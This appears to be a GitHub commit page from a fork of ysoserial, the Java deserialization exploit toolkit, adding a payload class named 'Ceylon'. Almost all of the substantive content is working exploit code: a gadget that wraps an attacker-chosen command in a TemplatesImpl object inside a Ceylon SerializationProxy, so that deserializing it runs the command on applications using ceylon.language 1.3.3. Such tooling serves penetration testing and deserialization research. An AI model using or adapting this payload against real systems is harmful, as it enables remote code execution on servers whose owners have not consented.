forked from frohoff/ysoserial
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
8eb5cbf
commit a65671e
Showing
2 changed files
with
28 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
package ysoserial.payloads; | ||
|
||
import com.redhat.ceylon.compiler.java.language.SerializationProxy; | ||
|
||
import ysoserial.payloads.annotation.Authors; | ||
import ysoserial.payloads.annotation.Dependencies; | ||
import ysoserial.payloads.util.Gadgets; | ||
|
||
@Authors({ Authors.KULLRICH }) | ||
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" }) | ||
public class Ceylon implements ObjectPayload<Object> | ||
{ | ||
|
||
// | ||
// Probably the simplest deser gadget ever ;-) | ||
// | ||
@Override | ||
public Object getObject(String command) throws Exception { | ||
final Object templates = Gadgets.createTemplatesImpl(command); | ||
|
||
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties"); | ||
} | ||
} |